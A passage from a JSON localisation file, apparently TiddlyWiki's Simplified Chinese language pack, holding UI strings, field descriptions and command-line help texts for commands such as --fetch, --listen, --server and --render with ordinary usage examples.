            "title": "$:/language/EditTemplate/Field/Dropdown/Hint",
            "text": "显示字段列表"
        },
        "$:/language/EditTemplate/Fields/Add/Button": {
            "title": "$:/language/EditTemplate/Fields/Add/Button",
            "text": "添加"
        },
        "$:/language/EditTemplate/Fields/Add/Dropdown/System": {
            "title": "$:/language/EditTemplate/Fields/Add/Dropdown/System",
            "text": "系统字段"
        },
        "$:/language/EditTemplate/Fields/Add/Dropdown/User": {
            "title": "$:/language/EditTemplate/Fields/Add/Dropdown/User",
            "text": "使用者字段"
        },
        "$:/language/EditTemplate/Fields/Add/Name/Placeholder": {
            "title": "$:/language/EditTemplate/Fields/Add/Name/Placeholder",
            "text": "字段名称"
        },
        "$:/language/EditTemplate/Fields/Add/Prompt": {
            "title": "$:/language/EditTemplate/Fields/Add/Prompt",
            "text": "添加字段:"
        },
        "$:/language/EditTemplate/Fields/Add/Value/Placeholder": {
            "title": "$:/language/EditTemplate/Fields/Add/Value/Placeholder",
            "text": "字段内容"
        },
        "$:/language/EditTemplate/Shadow/Warning": {
            "title": "$:/language/EditTemplate/Shadow/Warning",
            "text": "这是一个默认条目。您做的任何更改将会覆盖来自 <<pluginLink>> 插件的默认版本。"
        },
        "$:/language/EditTemplate/Shadow/OverriddenWarning": {
            "title": "$:/language/EditTemplate/Shadow/OverriddenWarning",
            "text": "这是一个修改过的默认条目。删除此条目可以还原为 <<pluginLink>> 插件中的默认版本。"
        },
        "$:/language/EditTemplate/Tags/Add/Button": {
            "title": "$:/language/EditTemplate/Tags/Add/Button",
            "text": "添加"
        },
        "$:/language/EditTemplate/Tags/Add/Placeholder": {
            "title": "$:/language/EditTemplate/Tags/Add/Placeholder",
            "text": "标签名称"
        },
        "$:/language/EditTemplate/Tags/Dropdown/Caption": {
            "title": "$:/language/EditTemplate/Tags/Dropdown/Caption",
            "text": "标签清单"
        },
        "$:/language/EditTemplate/Tags/Dropdown/Hint": {
            "title": "$:/language/EditTemplate/Tags/Dropdown/Hint",
            "text": "显示标签清单"
        },
        "$:/language/EditTemplate/Title/BadCharacterWarning": {
            "title": "$:/language/EditTemplate/Title/BadCharacterWarning",
            "text": "请注意,避免在条目名称中使用这些字符:<<bad-chars>>"
        },
        "$:/language/EditTemplate/Title/Exists/Prompt": {
            "title": "$:/language/EditTemplate/Title/Exists/Prompt",
            "text": "目标条目已经存在"
        },
        "$:/language/EditTemplate/Title/Relink/Prompt": {
            "title": "$:/language/EditTemplate/Title/Relink/Prompt",
            "text": "将在其他条目的 //tags// 和 //list// 字段中的 ''<$text text=<<fromTitle>>/>'' 改为 ''<$text text=<<toTitle>>/>''"
        },
        "$:/language/EditTemplate/Title/References/Prompt": {
            "title": "$:/language/EditTemplate/Title/References/Prompt",
            "text": "下列对此条目的引用,不会自动更新:"
        },
        "$:/language/EditTemplate/Type/Dropdown/Caption": {
            "title": "$:/language/EditTemplate/Type/Dropdown/Caption",
            "text": "内容类型清单"
        },
        "$:/language/EditTemplate/Type/Dropdown/Hint": {
            "title": "$:/language/EditTemplate/Type/Dropdown/Hint",
            "text": "显示内容类型清单"
        },
        "$:/language/EditTemplate/Type/Delete/Caption": {
            "title": "$:/language/EditTemplate/Type/Delete/Caption",
            "text": "删除内容类型"
        },
        "$:/language/EditTemplate/Type/Delete/Hint": {
            "title": "$:/language/EditTemplate/Type/Delete/Hint",
            "text": "删除内容类型"
        },
        "$:/language/EditTemplate/Type/Placeholder": {
            "title": "$:/language/EditTemplate/Type/Placeholder",
            "text": "内容类型"
        },
        "$:/language/EditTemplate/Type/Prompt": {
            "title": "$:/language/EditTemplate/Type/Prompt",
            "text": "类型:"
        },
        "$:/language/Exporters/StaticRiver": {
            "title": "$:/language/Exporters/StaticRiver",
            "text": "静态 HTML"
        },
        "$:/language/Exporters/JsonFile": {
            "title": "$:/language/Exporters/JsonFile",
            "text": "JSON 文件"
        },
        "$:/language/Exporters/CsvFile": {
            "title": "$:/language/Exporters/CsvFile",
            "text": "CSV 文件"
        },
        "$:/language/Exporters/TidFile": {
            "title": "$:/language/Exporters/TidFile",
            "text": "\".tid\" 文件"
        },
        "$:/language/Docs/Fields/_canonical_uri": {
            "title": "$:/language/Docs/Fields/_canonical_uri",
            "text": "外部图像条目的完整的 URI"
        },
        "$:/language/Docs/Fields/bag": {
            "title": "$:/language/Docs/Fields/bag",
            "text": "条目的来源集的名称"
        },
        "$:/language/Docs/Fields/caption": {
            "title": "$:/language/Docs/Fields/caption",
            "text": "显示于页签或按钮上的标题文字"
        },
        "$:/language/Docs/Fields/color": {
            "title": "$:/language/Docs/Fields/color",
            "text": "条目的 CSS 颜色值"
        },
        "$:/language/Docs/Fields/component": {
            "title": "$:/language/Docs/Fields/component",
            "text": "负责[[警示条目|AlertMechanism]]的组件名称"
        },
        "$:/language/Docs/Fields/created": {
            "title": "$:/language/Docs/Fields/created",
            "text": "条目的创建日期"
        },
        "$:/language/Docs/Fields/creator": {
            "title": "$:/language/Docs/Fields/creator",
            "text": "条目的创建者"
        },
        "$:/language/Docs/Fields/current-tiddler": {
            "title": "$:/language/Docs/Fields/current-tiddler",
            "text": "用于缓存[[浏览历史列表|HistoryMechanism]]的最上层条目"
        },
        "$:/language/Docs/Fields/dependents": {
            "title": "$:/language/Docs/Fields/dependents",
            "text": "插件的相依插件列表"
        },
        "$:/language/Docs/Fields/description": {
            "title": "$:/language/Docs/Fields/description",
            "text": "插件的说明、描述"
        },
        "$:/language/Docs/Fields/draft.of": {
            "title": "$:/language/Docs/Fields/draft.of",
            "text": "草稿条目,包含条目的标题、标签、栏位 ..."
        },
        "$:/language/Docs/Fields/draft.title": {
            "title": "$:/language/Docs/Fields/draft.title",
            "text": "草稿条目的标题"
        },
        "$:/language/Docs/Fields/footer": {
            "title": "$:/language/Docs/Fields/footer",
            "text": "wizard 的注脚"
        },
        "$:/language/Docs/Fields/hack-to-give-us-something-to-compare-against": {
            "title": "$:/language/Docs/Fields/hack-to-give-us-something-to-compare-against",
            "text": "于 [[$:/core/templates/static.content]] 使用的临时保存栏位"
        },
        "$:/language/Docs/Fields/icon": {
            "title": "$:/language/Docs/Fields/icon",
            "text": "条目的标题含有与条目关联的图标"
        },
        "$:/language/Docs/Fields/library": {
            "title": "$:/language/Docs/Fields/library",
            "text": "若设为 “yes”,表示条目应该被保存为一个 JavaScript 程序库"
        },
        "$:/language/Docs/Fields/list": {
            "title": "$:/language/Docs/Fields/list",
            "text": "条目的列表,指定一些条目的标题清单"
        },
        "$:/language/Docs/Fields/list-before": {
            "title": "$:/language/Docs/Fields/list-before",
            "text": "前条目名称将被添加到条目排序清单中的设置条目名称之前,或若此栏位存在但是空的,则被添加於清单的前端"
        },
        "$:/language/Docs/Fields/list-after": {
            "title": "$:/language/Docs/Fields/list-after",
            "text": "当前条目名称将被添加到条目排序清单的设置条目名称之后,或若此栏位存在但是空的,則被添加於清單的尾端"
        },
        "$:/language/Docs/Fields/modified": {
            "title": "$:/language/Docs/Fields/modified",
            "text": "条目的最近修改日期与时间"
        },
        "$:/language/Docs/Fields/modifier": {
            "title": "$:/language/Docs/Fields/modifier",
            "text": "条目的最近修改者"
        },
        "$:/language/Docs/Fields/name": {
            "title": "$:/language/Docs/Fields/name",
            "text": "具可读性的插件条目的名称"
        },
        "$:/language/Docs/Fields/plugin-priority": {
            "title": "$:/language/Docs/Fields/plugin-priority",
            "text": "插件条目的优先级数值"
        },
        "$:/language/Docs/Fields/plugin-type": {
            "title": "$:/language/Docs/Fields/plugin-type",
            "text": "插件条目的类型"
        },
        "$:/language/Docs/Fields/released": {
            "title": "$:/language/Docs/Fields/released",
            "text": "TiddlyWiki 的发布日期"
        },
        "$:/language/Docs/Fields/revision": {
            "title": "$:/language/Docs/Fields/revision",
            "text": "条目存放于服务器中的修订版本"
        },
        "$:/language/Docs/Fields/source": {
            "title": "$:/language/Docs/Fields/source",
            "text": "条目的网址"
        },
        "$:/language/Docs/Fields/subtitle": {
            "title": "$:/language/Docs/Fields/subtitle",
            "text": "一个 wizard 的副标题"
        },
        "$:/language/Docs/Fields/tags": {
            "title": "$:/language/Docs/Fields/tags",
            "text": "条目的标签清单"
        },
        "$:/language/Docs/Fields/text": {
            "title": "$:/language/Docs/Fields/text",
            "text": "条目的内文"
        },
        "$:/language/Docs/Fields/title": {
            "title": "$:/language/Docs/Fields/title",
            "text": "条目的唯一名称"
        },
        "$:/language/Docs/Fields/type": {
            "title": "$:/language/Docs/Fields/type",
            "text": "条目的内容类型"
        },
        "$:/language/Docs/Fields/version": {
            "title": "$:/language/Docs/Fields/version",
            "text": "插件的版本信息"
        },
        "$:/language/Filters/AllTiddlers": {
            "title": "$:/language/Filters/AllTiddlers",
            "text": "所有条目,不含系统条目"
        },
        "$:/language/Filters/RecentSystemTiddlers": {
            "title": "$:/language/Filters/RecentSystemTiddlers",
            "text": "最近修改的条目,包含系统条目"
        },
        "$:/language/Filters/RecentTiddlers": {
            "title": "$:/language/Filters/RecentTiddlers",
            "text": "最近修改的条目"
        },
        "$:/language/Filters/AllTags": {
            "title": "$:/language/Filters/AllTags",
            "text": "所有标签,不含系统标签"
        },
        "$:/language/Filters/Missing": {
            "title": "$:/language/Filters/Missing",
            "text": "缺失条目"
        },
        "$:/language/Filters/Drafts": {
            "title": "$:/language/Filters/Drafts",
            "text": "草稿条目"
        },
        "$:/language/Filters/Orphans": {
            "title": "$:/language/Filters/Orphans",
            "text": "孤立条目"
        },
        "$:/language/Filters/SystemTiddlers": {
            "title": "$:/language/Filters/SystemTiddlers",
            "text": "系统条目"
        },
        "$:/language/Filters/ShadowTiddlers": {
            "title": "$:/language/Filters/ShadowTiddlers",
            "text": "默认条目"
        },
        "$:/language/Filters/OverriddenShadowTiddlers": {
            "title": "$:/language/Filters/OverriddenShadowTiddlers",
            "text": "被覆写的默认条目"
        },
        "$:/language/Filters/SystemTags": {
            "title": "$:/language/Filters/SystemTags",
            "text": "系统标签"
        },
        "$:/language/Filters/StoryList": {
            "title": "$:/language/Filters/StoryList",
            "text": "故事河中的条目,不含 ~$:/AdvancedSearch"
        },
        "$:/language/Filters/TypedTiddlers": {
            "title": "$:/language/Filters/TypedTiddlers",
            "text": "非维基文字条目"
        },
        "GettingStarted": {
            "title": "GettingStarted",
            "text": "\\define lingo-base() $:/language/ControlPanel/Basics/\n欢迎使用 ~TiddlyWiki 及参与 ~TiddlyWiki 社群\n\n开始将重要资讯存放于 ~TiddlyWiki 之前,确认您可以可靠地保存变更是很重要的。详细资讯请参阅 https://tiddlywiki.com/#GettingStarted\n\n!! 设置此 ~TiddlyWiki\n\n<div class=\"tc-control-panel\">\n\n|<$link to=\"$:/SiteTitle\"><<lingo Title/Prompt>></$link> |<$edit-text tiddler=\"$:/SiteTitle\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/SiteSubtitle\"><<lingo Subtitle/Prompt>></$link> |<$edit-text tiddler=\"$:/SiteSubtitle\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/DefaultTiddlers\"><<lingo DefaultTiddlers/Prompt>></$link> |<<lingo DefaultTiddlers/TopHint>><br> <$edit tag=\"textarea\" tiddler=\"$:/DefaultTiddlers\"/><br>//<<lingo DefaultTiddlers/BottomHint>>// |\n</div>\n\n请参阅[[控制台|$:/ControlPanel]]查看更多选项。"
        },
        "$:/language/Help/build": {
            "title": "$:/language/Help/build",
            "description": "自动执行已配置的命令",
            "text": "生成指定的生成目标为当前 wiki。若未指定任何生成目标,则生成所有可用的目标。\n\n```\n--build <target> [<target> ...]\n```\n\n生成目标在 wiki 文件夹的 `tiddlywiki.info` 文件中定义。\n"
        },
        "$:/language/Help/clearpassword": {
            "title": "$:/language/Help/clearpassword",
            "description": "清除用于后续加密的密码",
            "text": "清除用于后续加密的密码\n\n```\n--clearpassword\n```\n"
        },
        "$:/language/Help/default": {
            "title": "$:/language/Help/default",
            "text": "\\define commandTitle()\n$:/language/Help/$(command)$\n\\end\n```\n用法: tiddlywiki [<wikifolder>] [--<command> [<args>...]...]\n```\n\n可用的命令:\n\n<ul>\n<$list filter=\"[commands[]sort[title]]\" variable=\"command\">\n<li><$link to=<<commandTitle>>><$macrocall $name=\"command\" $type=\"text/plain\" $output=\"text/plain\"/></$link>: <$transclude tiddler=<<commandTitle>> field=\"description\"/></li>\n</$list>\n</ul>\n\n取得关于某个命令的详细帮助:\n\n```\ntiddlywiki --help <command>\n```\n"
        },
        "$:/language/Help/editions": {
            "title": "$:/language/Help/editions",
            "description": "列出可用的 TiddlyWiki 版本",
            "text": "列出可用版本的名称和描述。您可以用 `--init` 命令创建一个指定版本的新维基。\n\n```\n--editions\n```\n"
        },
        "$:/language/Help/fetch": {
            "title": "$:/language/Help/fetch",
            "description": "通过网址从维基撷取条目",
            "text": "通过 HTTP/HTTPS 撷取一个或多个文件,并导入匹配筛选器的条目,可选的转换传入的名称。\n\n```\n--fetch file <url> <import-filter> <transform-filter>\n--fetch files <url-filter> <import-filter> <transform-filter>\n--fetch raw-file <url> <transform-filter>\n--fetch raw-files <url-filter> <transform-filter>\n```\n\n \"file\" 和 \"files\" 选项撷取指定的文件,并尝试导入其中的条目(与将文件拖动到浏览器视窗中的处理相同)。 \"raw-file\" 和 \"raw-files\" 变选项撷取指定的文件,并将原始文件资料存储于条目,而不套用导入逻辑。\n\n使用 \"file\" and \"raw-file\" 选项为仅撷取单个文件,且第一个参数为要读取文件的网址。\n\n使用 \"files\" 和 \"raw-files\" 选项为撷取多个文件,且第一个参数是一个产生要读取文件的网址清单的筛选器。例如,给定标签为 \"remote-server\" 的一组具有字段 \"url\" 的条目,筛选器 `[tag[remote-server]get[url]]` 将取回所有可用的网址。\n\n对于 \"file\" 和 \"files\" 选项,the `<import-filter>` 参数指定一个筛选器,用于确定要导入哪些条目。如果未提供,则默认为 `[all[tiddlers]]`。\n\n对于所有选项,`<transform-filter>` 参数指定一个可选的筛选器,用于转换导入条目的名称。例如,`[addprefix[$:/myimports/]]` 会将前缀  `$:/myimports/` 加至每个名称。\n\n于 `--fetch` 之前使用 `--verbose` 命令,将在导入期间输出进度信息。\n\n请注意,TiddlyWiki 不会撷取一个已经加载插件的旧版本。\n\n以下示例从 https://tiddlywiki.com 取回所有非系统条目,并将其保存到一个 JSON 文件:\n\n```\ntiddlywiki --verbose --fetch file \"https://tiddlywiki.com/\" \"[!is[system]]\" \"\" --rendertiddler \"$:/core/templates/exporters/JsonFile\" output.json text/plain \"\" exportFilter \"[!is[system]]\"\n```\n\n以下范例从 https://tiddlywiki.com 取回 \"favicon\" 文件,并将其保存在名为 \"output.ico\" 的文件中。请注意,在 \"--fetch\" 命令中引用的中间条目 \"Icon Tiddler\",因为它被用作转换筛选器来替换预设的名称,而 \"--savetiddler\" 命令没有引号,因为它是直接用作标题。\n\n```\ntiddlywiki --verbose --fetch raw-file \"https://tiddlywiki.com/favicon.ico\" \"[[Icon Tiddler]]\" --savetiddler \"Icon Tiddler\" output.ico\n```\n"
        },
        "$:/language/Help/help": {
            "title": "$:/language/Help/help",
            "description": "显示 TiddlyWiki 命令的说明",
            "text": "显示命令的帮助文本:\n\n```\n--help [<command>]\n```\n\n若省略命令名称,则显示可用命令的清单。\n"
        },
        "$:/language/Help/import": {
            "title": "$:/language/Help/import",
            "description": "从文件导入条目",
            "text": "从 TiddlyWiki 文件 (`.html`)、`.tiddler`、`.tid`、`.json` 或其他本机文件导入条目。必须明确指定解串器,而不像 load 命令,从文件扩展名推断解串器。\n\n```\n--import <filepath> <deserializer> [<title>] [<encoding>]\n```\n\n核心的解串器包括:\n\n* application/javascript\n* application/json\n* application/x-tiddler\n* application/x-tiddler-html-div\n* application/x-tiddlers\n* text/html\n* text/plain\n\n导入的条目名称,默认为文件名。\n\n编码默认为 \"utf8\",但用于导入二进制文件可以是 \"base64\"。\n\n请注意,TiddlyWiki 不会导入旧版本的已加载插件。\n"
        },
        "$:/language/Help/init": {
            "title": "$:/language/Help/init",
            "description": "初始化一个新的 wiki 文件夹",
            "text": "初始化一个空的 [[WikiFolder|WikiFolders]] 的指定版本的副本。\n\n```\n--init <edition> [<edition> ...]\n```\n\n例如:\n\n```\ntiddlywiki ./MyWikiFolder --init empty\n```\n\n注意:\n\n* 若有需要,将创建 wiki 文件夹目录\n* 其中 \"edition\" 默认为 ''empty''\n* 若 wiki 文件夹不是空的,则初始化命令将失败\n* 初始化命令会删除 'tiddlywiki.info' 文件内所有 'includeWikis' 的定义。\n* 当指定多个版本时,这些版本于初始化后,将覆写早期版本共用的所有文件 (故此最终的 `tiddlywiki.info` 文件将是从最近的版本复制而得)\n* `--editions` 传回所有可用版本的清单。\n"
        },
        "$:/language/Help/listen": {
            "title": "$:/language/Help/listen",
            "description": "为 TiddlyWiki 提供一个 HTTP 服务器接口",
            "text": "通过 HTTP 提供一个维基服务。\n\nlisten 命令使用[[命名的命令参数|NamedCommandParameters]]:\n\n```\n--listen [<name>=<value>]...\n```\n\n所有参数都是可选的, 具有安全的默认值, 可以按任意顺序指定。认可的参数有:\n\n* ''host'' - 可选的主机名称, (默认为 \"127.0.0.1\" 或名为 \"localhost\")\n* ''path-prefix'' - 可选的路径前缀\n* ''port'' - 侦听的埠号;非数值会被解译为一个系统环境变数,从其中提取埠号 (默认为 \"8080\")\n* ''credentials'' - 凭证 CSV 文件的路径名(相对于维基文件夹)\n* ''anon-username'' - 匿名用户的编辑署名\n* ''username'' - 可选的基本验证用户名称\n* ''password'' - 可选的基本验证密码\n* ''authenticated-user-header'' - 可选的标头名称,用于受信任身份验证\n* ''readers'' - 允许读取此维基的主体,以逗号分隔的清单\n* ''writers'' - 允许写入此维基的主体,以逗号分隔的清单\n* ''csrf-disable'' - 设置为 \"yes\" 以禁用 CSRF 检查 (默认为 \"no\")\n* ''root-tiddler'' - 服务的基本条目 (默认为 \"$:/core/save/all\")\n* ''root-render-type'' - 呈现的基本条目的内容类型 (默认为 \"text/plain\")\n* ''root-serve-type'' - 服务的基本条目的内容类型 (默认为 \"text/html\")\n* ''tls-cert'' - TLS 证书文件的路径名(相对于维基文件夹)\n* ''tls-key'' - TLS 密钥文件的路径名(相对于维基文件夹)\n* ''debug-level'' - 可选的调试级别;设置为 \"debug\" 来查看请求的详细信息;(默认为 \"none\")\n\n有关向整个本地网络开启实例的信息,以及可能的安全问题,请参阅 TiddlyWiki.com 的 WebServer 条目。\n"
        },
        "$:/language/Help/load": {
            "title": "$:/language/Help/load",
            "description": "从文件中加载条目",
            "text": "从 TiddlyWiki (`.html`), `.tiddler`, `.tid`, `.json` 或其他本机文件加载条目。应用的处理程序取决于导入文件的扩展名。如果您需要明确指定解串器和编码,请改用 `import` 命令。\n\n```\n--load <filepath>\n--load <dirpath>\n```\n\n从已加密的 TiddlyWiki 文件中加载条目,须使用 PasswordCommand 指定密码,例如:\n\n```\ntiddlywiki ./MyWiki --password pa55w0rd --load my_encrypted_wiki.html\n```\n\n请注意 TiddlyWiki 将不加载旧版本的已挂载的插件。\n"
        },
        "$:/language/Help/makelibrary": {
            "title": "$:/language/Help/makelibrary",
            "description": "构建升级处理所需的程式库插件",
            "text": "为升级处理构建 `$:/UpgradeLibrary` 条目。\n\n升级程式库被格式化为一个插件类型为 `library` 的一般插件条目。它包含 TiddlyWiki5 存储库中所有可用的插件、布景主题和语言包的副本。\n\n此命令仅供内部使用;它只是与使用者构建一个自订的升级程序相关。\n\n```\n--makelibrary <title>\n```\n\n标题参数默认为 `$:/UpgradeLibrary`。\n"
        },
        "$:/language/Help/notfound": {
            "title": "$:/language/Help/notfound",
            "text": "无此帮助项目"
        },
        "$:/language/Help/output": {
            "title": "$:/language/Help/output",
            "description": "设置后续命令的基准输出文件夹",
            "text": "设置后续命令的基准输出文件夹,默认为该版本文件夹的 `output` 子文件夹。\n\n```\n--output <pathname>\n```\n\n若指定的路径是相对路径,则它是被解析相对于当前的工作文件夹。例如:`--output .` 將輸出文件夹設置為當前工作文件夹。"
        },
        "$:/language/Help/password": {
            "title": "$:/language/Help/password",
            "description": "设置用以加密的密码",
            "text": "设置用以加密的密码\n\n```\n--password <password>\n```\n\n''请注意'':这不是用于提供 TiddlyWiki 具有密码保护功能。相反地,请看 [[ServerCommand]] 的密码选项说明。\n"
        },
        "$:/language/Help/render": {
            "title": "$:/language/Help/render",
            "description": "呈现个别条目到文件",
            "text": "呈现由筛选器标识的个别条目,并将结果保存到指定的文件。\n\n可选择性地指定范本条目名称。在此情况下,不是直接呈现每个条目,而是使用设为正在呈现的条目名称的 \"currentTiddler\" 变量,来呈现范本条目。\n\n也可以选择性地指定附加变量的名称和值。\n\n```\n--render <tiddler-filter> [<filename-filter>] [<render-type>] [<template>] [<name>] [<value>]\n```\n\n* ''tiddler-filter'': 标识要呈现的条目的筛选器\n* ''filename-filter'': 可选的筛选器,转换条目名称至路径名。如果省略,默认为 `[is[tiddler]addsuffix[.html]]`,其使用未改变的条目名称为文件名\n* ''template'': 可选的范本,用于呈现每个条目\n* ''render-type'': 可选的呈现类型:`text/html` (默认值) 会传回完整的 HTML 文本,而 `text/plain` 只会传回文本内容 (即其忽略 HTML 标记与其他不可印出的数据)\n* ''name'': 可选的变量名称\n* ''value'': 可选的变量值\n\n默认情况下,文件名被解析为相对于发行版文件夹的 `output` 子文件夹。`--output` 命令可用于将输出指到一个不同的文件夹。\n\n附注:\n\n* 输出目录不清除任何现有的文件\n* 文件名的路径中,任何不存在的文件夹,将自动创建。\n* 当正呈现的条目名称中带有空格,请注意同时使用命令行接口所要求的引号,与 TiddlyWiki 的双重方括号;`--render \"[[Motovun Jack.jpg]]\"`\n* 所选的项目被设置为当前正在呈现的条目名称,以此评估文件名筛选器,允条目名称用作基础计算的文件名。例如,`[encodeuricomponent[]addprefix[static/]]` 为每个条目名称套用 URI 编码,然后增加首码 `static/`\n* `--render` 命令是已弃用的 `--rendertiddler` 和 `--rendertiddlers` 的一个更灵活的替代命令。\n\n例子:\n\n* `--render \"[!is[system]]\" \"[encodeuricomponent[]addprefix[tiddlers/]addsuffix[.html]]\"` -- 呈现所有非系统条目为 \"tiddlers\" 子文件夹中的文件,文件名为 URL 编码的条目名称和扩展名 HTML\n"
        },
        "$:/language/Help/rendertiddler": {
            "title": "$:/language/Help/rendertiddler",
            "description": "呈现个别条目为指定的内容类型",
            "text": "(请注意:`--rendertiddler` 命令已被弃用,而支持新的、更灵活的 `--render` 命令)\n\n呈现个别条目为指定的[[内容类型|ContentType]],默认为 `text/html` 且保存为指定的文件名。\n\n还可以指定一个模板,在这种情况下,\"currentTiddler\" 变量设为正在呈现的条目 (第一个参数值) 与模板条目合并呈现。\n\n也能可选地指定附加变量的名称与其值。\n\n```\n--rendertiddler <title> <filename> [<type>] [<template>]\n```\n\n默认情况下,文件名被解析为相对于版本文件夹的 `output` 子文件夹。 `--output` 命令可以用于将输出指定到一个不同的文件夹。\n\n自动创建在文件名称的路径中任何缺少的文件夹。\n\n例如,以下命令通过使用核心模板 `$:/core/templates/exporters/JsonFile`,将所有匹配筛选器 `[tag[done]]` 的条目保存到名为 `output.json` 的 JSON 文件。\n\n```\n--rendertiddler \"$:/core/templates/exporters/JsonFile\" output.json text/plain \"\" exportFilter \"[tag[done]]\"\n```"
        },
        "$:/language/Help/rendertiddlers": {
            "title": "$:/language/Help/rendertiddlers",
            "description": "呈现符合筛选条件的条目为指定的内容类型",
            "text": "(请注意:`--rendertiddlers` 命令已被弃用,而支持新的、更灵活的 `--render` 命令)\n\n呈现符合筛选条的条目为指定的[[内容类型|ContentType]] (默认为 `text/html`) 与扩展名 (默认为 `.html`).\n\n```\n--rendertiddlers <filter> <template> <pathname> [<type>] [<extension>] [\"noclean\"]\n```\n\n例如:\n\n```\n--rendertiddlers [!is[system]] $:/core/templates/static.tiddler.html ./static text/plain\n```\n\n默认情况下,路径名被解析为相对于版本文件夹的 `output` 子文件夹。 `--output` 命令可以用于将输出指定到一个不同的文件。\n\n在目标文件夹中的任何文件都会被删除,除非指定 ''noclean'' 旗标。若缺少目标文件夹,则以递归方式创建。"
        },
        "$:/language/Help/save": {
            "title": "$:/language/Help/save",
            "description": "将个别原始条目保存到文件",
            "text": "将筛选器标识的个别条目,以原始文本或二进位格式,保存到指定的文件。\n\n```\n--save <tiddler-filter> <filename-filter>\n```\n\n* ''tiddler-filter'': 标识要保存的条目的筛选器\n* ''filename-filter'': 可选的筛选器,转换条目名称至路径名。如果省略,默认为 `[is[tiddler]]`,其使用未改变的条目名称为文件名\n\n附注:\n\n* 输出文件夹不清除任何现有的文件\n* 文件名的路径中,任何不存在的文件夹,将自动创建。\n* 当正保存的条目的名称中带有空格,请注意同时使用命令行接口所要求的引号,与 TiddlyWiki 的双重方括号;`--save  \"[[Motovun Jack.jpg]]\"`\n* 所选的项目被设置为当前正在保存的条目名称,以此评估文件名筛选器,允条目名称用作基础计算的文件名。例如,`[encodeuricomponent[]addprefix[static/]]` 为每个条目名称套用 URI 编码,然后增加首码 `static/`\n* `--save` 命令是已被弃用的 `--savetiddler` 和 `--savetiddlers` 的一个更灵活的替代命令。\n\n例子:\n\n* `--save \"[!is[system]is[image]]\" \"[encodeuricomponent[]addprefix[tiddlers/]]\"` -- 保存所有非系统的图像条目为 \"tiddlers\" 子文件夹中的文件,文件名为 URL 编码的条目名称"
        },
        "$:/language/Help/savetiddler": {
            "title": "$:/language/Help/savetiddler",
            "description": "将条目的原始内容保存到一个文件",
            "text": "(请注意:`--savetiddler` 命令已被弃用,而支持新的、更灵活的 `--save` 命令)\n\n保存个别条目的原始文本或二进制格式到指定的文件名。\n\n```\n--savetiddler <title> <filename>\n```\n\n默认情况下,文件名被解析为相对于版本文件夹的 `output` 子文件夹。 `--output` 命令可以用于将输出指定到一个不同的文件。\n\n自动创建在文件名称的路径中任何缺少的文件夹。\n"
        },
        "$:/language/Help/savetiddlers": {
            "title": "$:/language/Help/savetiddlers",
            "description": "将一群条目的原始内容保存到一个文件夹",
            "text": "(请注意:`--savetiddlers` 命令已被弃用,而支持新的、更灵活的 `--save` 命令)\n\n保存一群条目的原始文字或二进制格式到指定的文件夹。\n\n```\n--savetiddlers <filter> <pathname> [noclean]\n```\n\n默认情况下,路径名被解析为相对于版本文件夹的 `output` 子文件夹。 `--output` 命令可以用于将输出指定到一个不同的文件夹。\n\n保存指定的文件之前,会先清除输出目录的现有文件。可藉由指定 ''noclean'' 旗标,禁用该删除动作。\n\n自动创建在路径中任何缺少的文件夹。\n"
        },
        "$:/language/Help/server": {
            "title": "$:/language/Help/server",
            "description": "提供一个 HTTP 服务器介面到 TiddlyWiki (已弃用,支持新的 listen 命令)",
            "text": "在服务器中内置 TiddlyWiki5 是非常简单。虽与 TiddlyWeb 兼容,但不支持许多健全互联网面向的使用方式所需的功能。\n\n提供呈现一个指定条目,也可将个别条目编码成 JSON,且支持基本的 HTTP 操作 `GET`、`PUT` 及 `DELETE`.\n\n```\n--server <port> <root-tiddler> <root-render-type> <root-serve-type> <username> <password> <host> <path-prefix> <debug-level>\n```\n\n参数说明:\n\n* ''port'' - 要侦听的埠号;非数值会被解译为一个系统环境变数,从其中提取埠号 (默认为 \"8080\")\n* ''root-tiddler'' - 服务的基本条目 (默认为 \"$:/core/save/all\")\n* ''root-render-type'' - 呈现的基本条目的内容类型 (默认为 \"text/plain\")\n* ''root-serve-type'' - 服务的基本条目的内容类型 (默认为 \"text/html\")\n* ''username'' - 默认的编辑者署名\n* ''password'' - 可选的基本验证密码\n* ''host'' - 可选的主机名称, (默认为 \"127.0.0.1\" 或名为 \"localhost\")\n* ''path-prefix'' - 可选的路径前缀\n* ''debug-level'' - 可选的调试级别;设置为 \"debug\" 来查看请求的详细信息;(默认为 \"none\")\n\n若指定密码参数,浏览器将提示使用者输入用户名与密码。注意,密码系以明码方式传递,应只在受信任的网络或 HTTPS 上使用。\n\n例如:\n\n```\n--server 8080 $:/core/save/all text/plain text/html MyUserName passw0rd\n```\n\n若您需要设置主机名称或路径前缀,而不要求输入密码,则可以指定空字符串的使用者名和密码。\n\n```\n--server 8080 $:/core/save/all text/plain text/html \"\" \"\" 192.168.0.245\n```\n\n使用这样的位址,会将您的系统暴露给本地网络。有关向整个本地网络开启实例的信息,以及可能的安全问题,请参阅 TiddlyWiki.com 的 WebServer 条目。\n\n同时执行多个 TiddlyWiki 服务,须分别指定不同的埠号。使用环境变数,有助于将埠号传递给 Node.js 进程。本示例引用一个名为 \"MY_PORT_NUMBER\" 的环境变数:\n\n```\n--server MY_PORT_NUMBER $:/core/save/all text/plain text/html MyUserName passw0rd\n```"
        },
        "$:/language/Help/setfield": {
            "title": "$:/language/Help/setfield",
            "description": "准备用于外部条目",
            "text": "//请注意此命令是试验性的,且可能会更改或在最终定稿前被替换//\n\n设置一群条目的指定栏位到 wikifying 范本条目的结果,其中的  `currentTiddler` 变数设置为各该条目。\n\n```\n--setfield <filter> <fieldname> <templatetitle> <rendertype>\n```\n\n参数说明:\n\n* ''filter'' - 受影响的辨识条目的筛选条件\n* ''fieldname'' - 要修改的栏位(默认为 \"text\")\n* ''templatetitle'' - 该条目 wikify 到指定栏位。若为空白或丢失,则删除指定的栏位\n* ''rendertype'' - 要呈现的文本类型(默认为 \"text/plain\"; \"text/html\" 可以用于包含 HTML 标记))\n"
        },
        "$:/language/Help/unpackplugin": {
            "title": "$:/language/Help/unpackplugin",
            "description": "从插件解开附属的条目",
            "text": "提取插件的附属条目,将其建立为一般条目:\n\n```\n--unpackplugin <title>\n```\n"
        },
        "$:/language/Help/verbose": {
            "title": "$:/language/Help/verbose",
            "description": "触发详细的输出模式",
            "text": "触发显示详细的命令执行过程,可用于调试\n\n```\n--verbose\n```\n"
        },
        "$:/language/Help/version": {
            "title": "$:/language/Help/version",
            "description": "显示 TiddlyWiki 的版本编号",
